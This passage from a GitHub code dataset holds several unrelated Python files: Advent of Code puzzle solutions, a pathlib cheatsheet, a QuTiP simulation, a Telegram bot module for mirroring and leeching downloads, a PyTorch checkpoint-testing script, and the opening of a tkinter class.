[(1, 0), (0, 1), (-1, 0), (0, -1)]\nx = 0\ny = 0\nd = 0\nwith open('input') as f:\n for l in f:\n #print(x, y, d)\n act = l[0]\n num = int(l.strip()[1:])\n if act == 'N':\n y += num\n elif act == 'S':\n y -= num\n elif act == 'E':\n x += num\n elif act == 'W':\n x -= num\n elif act == 'R':\n d = (d - num//90) % 4\n elif act == 'L':\n d = (d + num//90) % 4\n elif act == 'F':\n #x += math.cos(math.PI*d/360) * num\n #y += math.sin(math.PI*d/360) * num\n x += DIRS[d][0] * num\n y += DIRS[d][1] * num\nprint(x, y, d)\nprint(abs(x)+abs(y))\n","repo_name":"choupi/puzzle","sub_path":"adventofcode/2020/day12/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19140919906","text":"from pathlib import Path\n\n\ndef main():\n\n # Using Path():\n saved_3D_games = Path(\"Saved 3D Games\")\n\n # Using home():\n print(Path.home()) # Output: C:\\Users\\nso89\n\n # Using joinpath():\n user_profile = Path.home()\n print(user_profile.joinpath(saved_3D_games)) # Output: C:\\Users\\nso89\\Saved 3D Games\n\n # Using mkdir():\n complete_path_to_saved_3d_games = user_profile.joinpath(saved_3D_games)\n complete_path_to_saved_3d_games.mkdir(parents = True, exist_ok = True)\n\n # Using parent():\n print(complete_path_to_saved_3d_games.parent) # Output: C:\\Users\\nso89\n\n # Using iterdir():\n documents = Path.home().joinpath(\"Documents\").joinpath(\"Work\")\n for file in documents.iterdir():\n print(file)\n \n # Output:\n # C:\\Users\\nso89\\Documents\\Work\\companies.txt\n # C:\\Users\\nso89\\Documents\\Work\\cover-letter-resume.odt\n # C:\\Users\\nso89\\Documents\\Work\\Deep Space Nine\n # C:\\Users\\nso89\\Documents\\Work\\Enterprise\n\n # Using is_dir():\n for file in documents.iterdir():\n if file.is_dir():\n print(file)\n \n # Output:\n # C:\\Users\\nso89\\Documents\\Work\\Deep Space Nine\n # C:\\Users\\nso89\\Documents\\Work\\Enterprise\n\n # Using is_file():\n for file in documents.iterdir():\n if file.is_file():\n print(file)\n \n # Output:\n # C:\\Users\\nso89\\Documents\\Work\\companies.txt\n # C:\\Users\\nso89\\Documents\\Work\\cover-letter-resume.odt\n \n # Using stem:\n game_save_file = complete_path_to_saved_3d_games.joinpath(\"progress.gsv\")\n print(game_save_file.stem) # Output: progress\n\n # Using name:\n print(game_save_file.name) # Output: progress.gsv\n\n # Using suffix:\n print(game_save_file.suffix) # Output: .gsv\n\n # Using rmdir():\n complete_path_to_saved_3d_games.rmdir()\n\n # Using rename():\n enterprise_d = Path.home().joinpath(\"Documents\\Work\\Enterprise\")\n enterprise_d.rename(\"D:\\Work\\Enterprise-1701-D\")\n\n # Using with_suffix():\n print(game_save_file.with_suffix(\".gs\")) # Output: progress.gs\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nso89/python-cheatsheet","sub_path":"using-pathlib/using-pathlib.py","file_name":"using-pathlib.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"23736639650","text":"from qutip import sigmax, sigmaz, mesolve, basis, sigmay\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nham = 2*np.pi*0.1*sigmax()\npsi_0 = basis(2,0)\n\ntimes = np.linspace(0,10,20)\n\nresult = mesolve(ham,psi_0, times, [], [sigmaz(), sigmay()])\n\n\nfig, ax = plt.subplots()\nax.plot(result.times, result.expect[0])\nax.plot(result.times, result.expect[1])\n\nplt.show()\n","repo_name":"jamesbate/PhD","sub_path":"code/simulation_1.py","file_name":"simulation_1.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12144808162","text":"import re\r\nfrom collections import Counter\r\nimport copy\r\n\r\n# To read the input and turn it into a dict of sensor: manhattan distance covered by that sensor\r\n# and to have the number of rows and columns\r\n# input is the text of file_name\r\n# output is a dictionary of locations of sensors and set of beacons\r\ndef read_input(file_name):\r\n sensors = dict()\r\n # because we can have location of a beacon multiple times\r\n beacons = set()\r\n with open(file_name, \"rt\") as my_input:\r\n for line in my_input:\r\n [xs, ys, xb, yb] = list(map(int, re.findall('[0-9]+', line)))\r\n beacons.add((xb, yb))\r\n delta = abs(xs-xb) + abs(ys-yb)\r\n sensors[(xs, ys)] = delta\r\n return sensors, beacons\r\n\r\n\r\n# For the specific line, vertical or horizontal, we'll have intervals of coverage\r\n# input is a dictionary of locations, as sensor:distance\r\n# output is two dictionaries of intervals of coverage, for x-axis and y-axis, as line_number: [intervals]\r\ndef y_coverage(sensors, n):\r\n yintervals = []\r\n for sensor in sensors:\r\n xs, ys = sensor\r\n delta = sensors[sensor]\r\n # if the sensor covers the desired horizontal line\r\n if ys - delta <= n <= ys + delta:\r\n h = n - ys\r\n d = delta - abs(h)\r\n yintervals.append((xs- d, xs + d))\r\n return yintervals\r\n\r\ndef x_coverage(sensors, n):\r\n xintervals = []\r\n for sensor in sensors:\r\n xs, ys = sensor\r\n delta = sensors[sensor]\r\n # if the sensor covers the desired vertical line\r\n if xs - delta <= n <= xs + delta:\r\n h = n - xs\r\n d = delta - abs(h)\r\n xintervals.append((ys- d, ys + d))\r\n return xintervals\r\n\r\n\r\n# This is to compare two intervals and return the merged if it's possible\r\n# input is two intervals as tuples\r\n# output is a list of interval in case of merge, or an empty list if no merge was possible\r\ndef merge_helper(int1, int2):\r\n a1, b1 = int1\r\n a2, b2 = int2\r\n start = min(a1, a2)\r\n end = max(b1, b2)\r\n # [a1,b1] , [a2,b2]\r\n if end == b2:\r\n if min(b1, a2) == a2:\r\n # this means we have overlap\r\n return (start, end)\r\n # same thing, in the other order\r\n if end == b1:\r\n if min(b2, a1) == a1:\r\n return (start, end)\r\n # no overlap:\r\n return None\r\n\r\n\r\n# This is mergeing a bunch of intervals\r\n# input is a list of tuples of intervals\r\n# output is a list of tuple(s) of interval(s)\r\ndef merge(intervals):\r\n merged = copy.deepcopy(intervals)\r\n while True:\r\n for current in intervals:\r\n temp = copy.deepcopy(merged)\r\n while(temp):\r\n i = temp.pop()\r\n merge_out = merge_helper(current, i)\r\n if merge_out:\r\n # if we merged two interval, we need to remove the original intervals\r\n if current in merged:\r\n merged.remove(current)\r\n if i in merged:\r\n merged.remove(i)\r\n # and add the new interval\r\n if merge_out not in merged:\r\n merged.extend(merge_out)\r\n # we keep doing the merge until there is no more merge to do \r\n if Counter(intervals) == Counter(merged):\r\n break\r\n # to merge the new intervals, that we got from merging the old ones\r\n intervals = copy.deepcopy(merged)\r\n return merged\r\n\r\n\r\n\r\n\r\n# This is to compute the number of possible beacson locations\r\n# input is x_intervals or y_intervals, dictionary of sensor:becaon locations, and the desired line to count as\r\n# output is the number of possible positions for a beacon\r\ndef impossible_pos(intervals, bmap, n):\r\n count = 0\r\n for xb, yb in bmap:\r\n if yb == n:\r\n for ai, bi in intervals:\r\n if ai <= xb <= bi:\r\n count -= 1\r\n for ai, bi in intervals:\r\n count += bi-ai+1\r\n return count\r\n\r\n\r\n# for part 2: \r\ndef possible_pos(sensors, beacons):\r\n for y in range(4000000):\r\n yintervals = y_coverage(sensors, y)\r\n ymerged = merge(yintervals)\r\n if len(ymerged) > 1: # means there is a gap\r\n # make sure that is not already a beacon:\r\n for i in range(len(ymerged)-1):\r\n a1, b1 = ymerged[i]\r\n a2, b2 = ymerged[i+1]\r\n if a2 > b1: a, b = a2, b1\r\n if a1 > b2: a, b = a1, b2\r\n # point between the gaps is the potential position\r\n d = a-b-1\r\n # there is only one possible position\r\n if d == 1:\r\n # potential x\r\n x = b+d\r\n if (x,y) not in beacons:\r\n # now we check the vertical intervals\r\n xintervals = x_coverage(sensors, x)\r\n xmerged = merge(xintervals)\r\n if len(xmerged) > 1:\r\n for j in range(len(xmerged)-1):\r\n s1, e1 = xmerged[j]\r\n s2, e2 = xmerged[j+1]\r\n if s2 > e1: s, e = s2, e1\r\n if s1 > e2: s, e = s1, e2\r\n h = s-e-1\r\n # again, there is only one possible position\r\n if h == 1:\r\n # if the x in the gap: e+h is the potential x\r\n if e+h == y:\r\n return (x*4000000 + y)\r\n\r\n\r\n\r\n\r\ndef main():\r\n # y = 10\r\n # based on question\r\n y=2000000 \r\n\r\n # step 1: read and turn the input into a map of sensors\r\n # sensors, beacons = read_input(\"day15_test.txt\")\r\n sensors, beacons = read_input(\"day15.txt\")\r\n\r\n # step 2: compute the intervals based on map\r\n yintervals = y_coverage(sensors, y)\r\n\r\n # step 3: merge the intervals \r\n merged = merge(yintervals)\r\n\r\n # step 4: count the possible beacon positions\r\n count = impossible_pos(merged, beacons, y)\r\n\r\n \r\n print(f\"Part 1: {count}\")\r\n print(f\"Part 2: {possible_pos(sensors, beacons)}\")\r\n\r\n return\r\n\r\nmain()\r\n","repo_name":"fatemeh-moghaddam/AoC-2022","sub_path":"aoc/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31955420699","text":"from base64 import b64encode\nfrom re import match as re_match, search as re_search, split as re_split\nfrom time import sleep, time\nfrom os import path as ospath, remove as osremove, listdir, walk\nfrom shutil import rmtree\nfrom threading import Thread\nfrom subprocess import run as srun\nfrom pathlib import PurePath\nfrom telegram.ext import CommandHandler\nfrom telegram import InlineKeyboardMarkup, ParseMode, InlineKeyboardButton\n\nfrom bot import *\nfrom bot.helper.ext_utils.bot_utils import is_url, is_magnet, is_gdtot_link, is_mega_link, is_gdrive_link, is_unified_link, is_udrive_link, is_sharer_link, get_content_type, get_readable_time\nfrom bot.helper.ext_utils.exceptions import DirectDownloadLinkException, NotSupportedExtractionArchive\nfrom bot.helper.ext_utils.shortenurl import short_url\nfrom bot.helper.mirror_utils.download_utils.aria2_download import add_aria2c_download\nfrom bot.helper.mirror_utils.download_utils.gd_downloader import add_gd_download\nfrom bot.helper.mirror_utils.download_utils.qbit_downloader import QbDownloader\nfrom bot.helper.mirror_utils.download_utils.mega_downloader import MegaDownloader\nfrom bot.helper.mirror_utils.download_utils.direct_link_generator import direct_link_generator\nfrom bot.helper.mirror_utils.download_utils.telegram_downloader import TelegramDownloadHelper\nfrom bot.helper.telegram_helper.bot_commands import BotCommands\nfrom bot.helper.telegram_helper.filters import CustomFilters\nfrom bot.helper.telegram_helper.message_utils import sendMessage, sendMarkup, delete_all_messages, update_all_messages, auto_delete_upload_message\nfrom bot.helper.ext_utils.telegraph_helper import telegraph\nfrom bot.helper.telegram_helper.button_build import ButtonMaker\nfrom .listener import MirrorLeechListener\n\n\ndef _mirror_leech(bot, message, isZip=False, extract=False, isQbit=False, isLeech=False, multi=0):\n buttons = ButtonMaker()\t\n if FSUB:\n try:\n user = bot.get_chat_member(f\"{FSUB_CHANNEL_ID}\", message.from_user.id)\n LOGGER.info(user.status)\n if user.status not in (\"member\", \"creator\", \"administrator\", \"supergroup\"):\n if message.from_user.username:\n uname = f'{message.from_user.username}'\n else:\n uname = f'{message.from_user.first_name}'\n buttons = ButtonMaker()\n chat_u = CHANNEL_USERNAME.replace(\"@\", \"\")\n buttons.buildbutton(\"👉🏻 CHANNEL LINK 👈🏻\", f\"https://t.me/{chat_u}\")\n help_msg = f\"Dᴇᴀʀ {uname},\\nYᴏᴜ ɴᴇᴇᴅ ᴛᴏ ᴊᴏɪɴ ᴍʏ Cʜᴀɴɴᴇʟ ᴛᴏ ᴜsᴇ Bᴏᴛ \\n\\nCʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴇʟᴏᴡ Bᴜᴛᴛᴏɴ ᴛᴏ ᴊᴏɪɴ ᴍʏ Cʜᴀɴɴᴇʟ.\"\n reply_message = sendMarkup(\n help_msg, bot, message, InlineKeyboardMarkup(buttons.build_menu(2))\n )\n Thread(\n target=auto_delete_message, args=(bot, message, reply_message)\n ).start()\n return reply_message\n except Exception:\n pass\n if BOT_PM and message.chat.type != \"private\":\n try:\n msg1 = f\"Lɪɴᴋ Aᴅᴅᴇᴅ\"\n send = bot.sendMessage(\n message.from_user.id,\n text=msg1,\n )\n send.delete()\n except Exception as e:\n LOGGER.warning(e)\n if message.from_user.username:\n uname = f'{message.from_user.username}'\n else:\n uname = f'{message.from_user.first_name}'\n buttons = ButtonMaker()\n buttons.buildbutton(\n \"👉🏻 Sᴛᴀʀᴛ Bᴏᴛ 👈🏻\", f\"https://t.me/{bot.get_me().username}?start=start\"\n )\n help_msg = f\"Dᴇᴀʀ {uname},\\nYᴏᴜ ɴᴇᴇᴅ ᴛᴏ Sᴛᴀʀᴛ Bᴏᴛ ᴜꜱɪɴɢ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ. \\n\\nIᴛꜱ ɴᴇᴇᴅᴇᴅ ꜱᴏ ʙᴏᴛ ᴄᴀɴ ꜱᴇɴᴅ ʏᴏᴜʀ ᴍɪʀʀᴏʀ/ᴄʟᴏɴᴇ/ʟᴇᴇᴄʜᴇᴅ ꜰɪʟᴇꜱ ɪɴ ᴘᴍ. \\n\\nCʟɪᴄᴋ ᴏɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ ᴛᴏ Sᴛᴀʀᴛ Bᴏᴛ\"\n reply_message = sendMarkup(\n help_msg, bot, message, InlineKeyboardMarkup(buttons.build_menu(2))\n )\n Thread(\n target=auto_delete_message, args=(bot, message, reply_message)\n ).start()\n return reply_message\n if isLeech and len(LEECH_LOG) == 0:\n try:\n text = \"Eʀʀᴏʀ﹕ Lᴇᴇᴄʜ Fᴜɴᴄᴛɪᴏɴᴀʟɪᴛʏ ᴡɪʟʟ ɴᴏᴛ ᴡᴏʀᴋ\\n Rᴇᴀsᴏɴ﹕ Yᴏᴜʀ Lᴇᴇᴄʜ Lᴏɢ ᴠᴀʀ ɪs ᴇᴍᴘᴛʏ.\\n\\nRᴇᴀᴅ ᴛʜᴇ README ꜰɪʟᴇ ɪᴛ's ᴛʜᴇʀᴇ ꜰᴏʀ ᴀ ʀᴇᴀsᴏɴ.\"\n reply_message = sendMessage(text, bot, message)\n LOGGER.error(\n \"Leech Log var is Empty. Kindly add Chat id in Leech log to use Leech Functionality\"\n )\n Thread(\n target=auto_delete_message, args=(bot, message, reply_message)\n ).start()\n return reply_message\n except Exception as err:\n LOGGER.error(f\"Error: \\n{err}\")\n mesg = message.text.split('\\n')\n message_args = mesg[0].split(maxsplit=1)\n name_args = mesg[0].split('|', maxsplit=1)\n is_gdtot = False\n is_unified = False\n is_udrive = False\n is_sharer = False\n index = 1\n ratio = None\n seed_time = None\n select = False\n seed = False\n\n if len(message_args) > 1:\n args = mesg[0].split(maxsplit=3)\n for x in args:\n x = x.strip()\n if x == 's':\n select = True\n index += 1\n elif x == 'd':\n seed = True\n index += 1\n elif x.startswith('d:'):\n seed = True\n index += 1\n dargs = x.split(':')\n ratio = dargs[1] if dargs[1] else None\n if len(dargs) == 3:\n seed_time = dargs[2] if dargs[2] else None\n message_args = mesg[0].split(maxsplit=index)\n if len(message_args) > index:\n link = message_args[index].strip()\n if link.isdigit():\n if multi == 0:\n multi = int(link)\n link = ''\n elif link.startswith((\"|\", \"pswd:\")):\n link = ''\n else:\n link = ''\n else:\n link = ''\n\n if len(name_args) > 1:\n name = name_args[1]\n name = name.split(' pswd:')[0]\n name = name.strip()\n else:\n name = ''\n\n link = re_split(r\"pswd:|\\|\", link)[0]\n link = link.strip()\n\n pswd_arg = mesg[0].split(' pswd: ')\n if len(pswd_arg) > 1:\n pswd = pswd_arg[1]\n else:\n pswd = None\n\n if message.from_user.username:\n tag = f\"@{message.from_user.username}\"\n else:\n tag = message.from_user.mention_html(message.from_user.first_name)\n\n reply_to = message.reply_to_message\n if reply_to is not None:\n file_ = next((i for i in [reply_to.document, reply_to.video, reply_to.audio, reply_to.photo] if i), None)\n if not reply_to.from_user.is_bot:\n if reply_to.from_user.username:\n tag = f\"@{reply_to.from_user.username}\"\n else:\n tag = reply_to.from_user.mention_html(reply_to.from_user.first_name)\n if len(link) == 0 or not is_url(link) and not is_magnet(link):\n if file_ is None:\n reply_text = reply_to.text.split(maxsplit=1)[0].strip()\n if is_url(reply_text) or is_magnet(reply_text):\n link = reply_to.text.strip()\n elif isinstance(file_, list):\n link = file_[-1].get_file().file_path\n elif not isQbit and file_.mime_type != \"application/x-bittorrent\":\n listener = MirrorLeechListener(bot, message, isZip, extract, isQbit, isLeech, pswd, tag)\n Thread(target=TelegramDownloadHelper(listener).add_download, args=(message, f'{DOWNLOAD_DIR}{listener.uid}/', name)).start()\n if multi > 1:\n sleep(4)\n nextmsg = type('nextmsg', (object, ), {'chat_id': message.chat_id, 'message_id': message.reply_to_message.message_id + 1})\n nextmsg = sendMessage(message.text, bot, nextmsg)\n nextmsg.from_user.id = message.from_user.id\n multi -= 1\n sleep(4)\n Thread(target=_mirror_leech, args=(bot, nextmsg, isZip, extract, isQbit, isLeech, multi)).start()\n return\n else:\n link = file_.get_file().file_path\n\n if not is_url(link) and not is_magnet(link) and not ospath.exists(link):\n help_msg = \"Send link along with command line:\"\n if isQbit:\n help_msg += \"\\n/qbcmd {link} pswd: xx [zip/unzip]\"\n help_msg += \"\\n\\nBy replying to link/file:\"\n help_msg += \"\\n/qbcmd pswd: xx [zip/unzip]\"\n help_msg += \"\\n\\nBittorrent selection:\"\n help_msg += \"\\n/cmd s {link} or by replying to {file/link}\"\n help_msg += \"\\n\\nQbittorrent seed:\"\n help_msg += \"\\n/qbcmd d {link} or by replying to {file/link}.\\n\"\n help_msg += \"To specify ratio and seed time. Ex: d:0.7:10 (ratio and time) or d:0.7 \"\n help_msg += \"(only ratio) or d::10 (only time) where time in minutes\"\n help_msg += \"\\n\\nMulti links only by replying to first link/file:\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n help_msg += \"\\n/command 10(number of links/files)\\n\\n⚠⁉ If You Don't Know How To Use Bots, Check Others Message. Don't Play With Commands\"\n else:\n help_msg += \"\\n/cmd {link} |newname pswd: xx [zip/unzip]\"\n help_msg += \"\\n\\nBy replying to link/file:\"\n help_msg += \"\\n/cmd |newname pswd: xx [zip/unzip]\"\n help_msg += \"\\n\\nDirect link authorization:\"\n help_msg += \"\\n/cmd {link} |newname pswd: xx\\nusername\\npassword\"\n help_msg += \"\\n\\nBittorrent selection:\"\n help_msg += \"\\n/cmd s {link} or by replying to {file/link}\"\n help_msg += \"\\n\\nBittorrent seed:\"\n help_msg += \"\\n/cmd d {link} or by replying to {file/link}.\\n\"\n help_msg += \"To specify ratio and seed time. Ex: d:0.7:10 (ratio and time) or d:0.7 \"\n help_msg += \"(only ratio) or d::10 (only time) where time in minutes\"\n help_msg += \"\\n\\nMulti links only by replying to first link/file:\"\n help_msg += \"\\n/command 10(number of links/files)\\n\\n⚠⁉ If You Don't Know How To Use Bots, Check Others Message. Don't Play With Commands\"\n return sendMessage(help_msg, bot, message)\n\n LOGGER.info(link)\n\n if not is_mega_link(link) and not isQbit and not is_magnet(link) \\\n and not is_gdrive_link(link) and not link.endswith('.torrent'):\n content_type = get_content_type(link)\n if content_type is None or re_match(r'text/html|text/plain', content_type):\n try:\n is_gdtot = is_gdtot_link(link)\n is_unified = is_unified_link(link)\n is_udrive = is_udrive_link(link)\n is_sharer = is_sharer_link(link)\n link = direct_link_generator(link)\n LOGGER.info(f\"Generated link: {link}\")\n except DirectDownloadLinkException as e:\n LOGGER.info(str(e))\n if str(e).startswith('ERROR:'):\n return sendMessage(str(e), bot, message)\n\n listener = MirrorLeechListener(bot, message, isZip, extract, isQbit, isLeech, pswd, tag, select, seed)\n\n if is_gdrive_link(link):\n if not isZip and not extract and not isLeech:\n gmsg = f\"Use /{BotCommands.CloneCommand} to clone Google Drive file/folder\\n\\n\"\n gmsg += f\"Use /{BotCommands.ZipMirrorCommand[0]} to make zip of Google Drive folder\\n\\n\"\n gmsg += f\"Use /{BotCommands.UnzipMirrorCommand[0]} to extracts Google Drive archive file\"\n sendMessage(gmsg, bot, message)\n else:\n Thread(target=add_gd_download, args=(link, f'{DOWNLOAD_DIR}{listener.uid}', listener, is_gdtot, is_unified, is_udrive, is_sharer, name)).start()\n elif is_mega_link(link):\n if MEGA_KEY is not None:\n Thread(target=MegaDownloader(listener).add_download, args=(link, f'{DOWNLOAD_DIR}{listener.uid}/')).start()\n else:\n sendMessage('MEGA_API_KEY not Provided!', bot, message)\n elif isQbit:\n Thread(target=QbDownloader(listener).add_qb_torrent, args=(link, f'{DOWNLOAD_DIR}{listener.uid}',\n select, ratio, seed_time)).start()\n else:\n if len(mesg) > 1:\n ussr = mesg[1]\n if len(mesg) > 2:\n pssw = mesg[2]\n else:\n pssw = ''\n auth = f\"{ussr}:{pssw}\"\n auth = \"Basic \" + b64encode(auth.encode()).decode('ascii')\n else:\n auth = ''\n Thread(target=add_aria2c_download, args=(link, f'{DOWNLOAD_DIR}{listener.uid}', listener, name,\n\t\t auth, select, ratio, seed_time)).start()\n\n if multi > 1:\n sleep(4)\n nextmsg = type('nextmsg', (object, ), {'chat_id': message.chat_id, 'message_id': message.reply_to_message.message_id + 1})\n nextmsg = sendMessage(message.text, bot, nextmsg)\n nextmsg.from_user.id = message.from_user.id\n multi -= 1\n sleep(4)\n Thread(target=_mirror_leech, args=(bot, nextmsg, isZip, extract, isQbit, isLeech, multi)).start()\n\n\n\n\ndef mirror(update, context):\n _mirror_leech(context.bot, update.message)\n\ndef unzip_mirror(update, context):\n _mirror_leech(context.bot, update.message, extract=True)\n\ndef zip_mirror(update, context):\n _mirror_leech(context.bot, update.message, True)\n\ndef qb_mirror(update, context):\n _mirror_leech(context.bot, update.message, isQbit=True)\n\ndef qb_unzip_mirror(update, context):\n _mirror_leech(context.bot, update.message, extract=True, isQbit=True)\n\ndef qb_zip_mirror(update, context):\n _mirror_leech(context.bot, update.message, True, isQbit=True)\n\ndef leech(update, context):\n _mirror_leech(context.bot, update.message, isLeech=True)\n\ndef unzip_leech(update, context):\n _mirror_leech(context.bot, update.message, extract=True, isLeech=True)\n\ndef zip_leech(update, context):\n _mirror_leech(context.bot, update.message, True, isLeech=True)\n\ndef qb_leech(update, context):\n _mirror_leech(context.bot, update.message, isQbit=True, isLeech=True)\n\ndef qb_unzip_leech(update, context):\n _mirror_leech(context.bot, update.message, extract=True, isQbit=True, isLeech=True)\n\ndef qb_zip_leech(update, context):\n _mirror_leech(context.bot, update.message, True, isQbit=True, isLeech=True)\n\nif MIRROR_ENABLED:\n\n mirror_handler = CommandHandler(BotCommands.MirrorCommand, mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n unzip_mirror_handler = CommandHandler(BotCommands.UnzipMirrorCommand, unzip_mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n zip_mirror_handler = CommandHandler(BotCommands.ZipMirrorCommand, zip_mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_mirror_handler = CommandHandler(BotCommands.QbMirrorCommand, qb_mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_unzip_mirror_handler = CommandHandler(BotCommands.QbUnzipMirrorCommand, qb_unzip_mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_zip_mirror_handler = CommandHandler(BotCommands.QbZipMirrorCommand, qb_zip_mirror,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n\nelse:\n mirror_handler = CommandHandler(BotCommands.MirrorCommand, mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n unzip_mirror_handler = CommandHandler(BotCommands.UnzipMirrorCommand, unzip_mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n zip_mirror_handler = CommandHandler(BotCommands.ZipMirrorCommand, zip_mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_mirror_handler = CommandHandler(BotCommands.QbMirrorCommand, qb_mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_unzip_mirror_handler = CommandHandler(BotCommands.QbUnzipMirrorCommand, qb_unzip_mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_zip_mirror_handler = CommandHandler(BotCommands.QbZipMirrorCommand, qb_zip_mirror,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n\nif LEECH_ENABLED:\n leech_handler = CommandHandler(BotCommands.LeechCommand, leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n unzip_leech_handler = CommandHandler(BotCommands.UnzipLeechCommand, unzip_leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n zip_leech_handler = CommandHandler(BotCommands.ZipLeechCommand, zip_leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_leech_handler = CommandHandler(BotCommands.QbLeechCommand, qb_leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_unzip_leech_handler = CommandHandler(BotCommands.QbUnzipLeechCommand, qb_unzip_leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n qb_zip_leech_handler = CommandHandler(BotCommands.QbZipLeechCommand, qb_zip_leech,\n filters=CustomFilters.authorized_chat | CustomFilters.authorized_user, run_async=True)\n\nelse:\n leech_handler = CommandHandler(BotCommands.LeechCommand, leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n unzip_leech_handler = CommandHandler(BotCommands.UnzipLeechCommand, unzip_leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n zip_leech_handler = CommandHandler(BotCommands.ZipLeechCommand, zip_leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_leech_handler = CommandHandler(BotCommands.QbLeechCommand, qb_leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_unzip_leech_handler = CommandHandler(BotCommands.QbUnzipLeechCommand, qb_unzip_leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n qb_zip_leech_handler = CommandHandler(BotCommands.QbZipLeechCommand, qb_zip_leech,\n filters=CustomFilters.owner_filter | CustomFilters.authorized_user, run_async=True)\n\ndispatcher.add_handler(mirror_handler)\ndispatcher.add_handler(unzip_mirror_handler)\ndispatcher.add_handler(zip_mirror_handler)\ndispatcher.add_handler(qb_mirror_handler)\ndispatcher.add_handler(qb_unzip_mirror_handler)\ndispatcher.add_handler(qb_zip_mirror_handler)\ndispatcher.add_handler(leech_handler)\ndispatcher.add_handler(unzip_leech_handler)\ndispatcher.add_handler(zip_leech_handler)\ndispatcher.add_handler(qb_leech_handler)\ndispatcher.add_handler(qb_unzip_leech_handler)\ndispatcher.add_handler(qb_zip_leech_handler)\n","repo_name":"MuhammadYousuf813/mr","sub_path":"bot/modules/mirror_leech.py","file_name":"mirror_leech.py","file_ext":"py","file_size_in_byte":20877,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"22734151873","text":"import os\r\nimport torch\r\nfrom read import ReadConfig\r\nfrom write import Table, TestLog\r\n\r\n\r\ndef Test(config,name,checkpoints_dir,logs_dir):\r\n\r\n def test_checkpoint(checkpoint_path):\r\n checkpoint = torch.load(checkpoint_path)\r\n\r\n model_device = config[\"devices\"][\"model\"]\r\n training_device = config[\"devices\"][\"training\"]\r\n logging_file = os.path.join(logs_dir,f'TestLog_{name}.csv')\r\n\r\n learning_rate = config[\"training\"][\"learning_rate\"]\r\n\r\n Config = ReadConfig(config)\r\n\r\n loss_function = Config.loss_func()\r\n\r\n optimizer_function = Config.optimizer_func()\r\n\r\n testloader = Config.test_loader()\r\n\r\n model = Config.model()\r\n\r\n model.to(model_device)\r\n\r\n criterion = loss_function().to(training_device)\r\n\r\n optimizer = optimizer_function(model.parameters(),lr=learning_rate)\r\n\r\n del Config\r\n\r\n model.load_state_dict(checkpoint['model_state_dict'])\r\n\r\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\r\n\r\n table = Table(test_num_batches=len(testloader))\r\n\r\n log = TestLog(logging_file)\r\n\r\n model.eval()\r\n\r\n testing_loss = 0.0\r\n testing_acc = 0.0\r\n\r\n with torch.inference_mode():\r\n table.test_header()\r\n for i,batch_data in enumerate(testloader):\r\n data,target,label = batch_data\r\n output = model(data.to(model_device)).to(training_device)\r\n target = target.to(training_device)\r\n acc = torch.sum(torch.argmax(output,1)==torch.argmax(target,1))\r\n testing_acc += acc.item()\r\n loss = criterion(output,target)\r\n testing_loss += loss.item()\r\n table.test_batch(i+1,label,torch.argmax(output,1),loss)\r\n del loss\r\n testing_loss /= float(len(testloader.dataset))\r\n testing_acc /= float(len(testloader.dataset))\r\n table.test_end(testing_loss,testing_acc,checkpoint_path)\r\n\r\n log.log_results(name,checkpoint_path,testing_loss,testing_acc)\r\n\r\n if os.path.isdir(checkpoints_dir):\r\n for checkpoint in os.listdir(checkpoints_dir):\r\n test_checkpoint(os.path.join(checkpoints_dir,checkpoint))\r\n else:\r\n test_checkpoint(checkpoints_dir)\r\n","repo_name":"slit-cnn/3d-air-signature","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"8039311425","text":"import tkinter as tk\r\n\r\nclass CustomerMenu():\r\n '''\r\n This class models the password reset 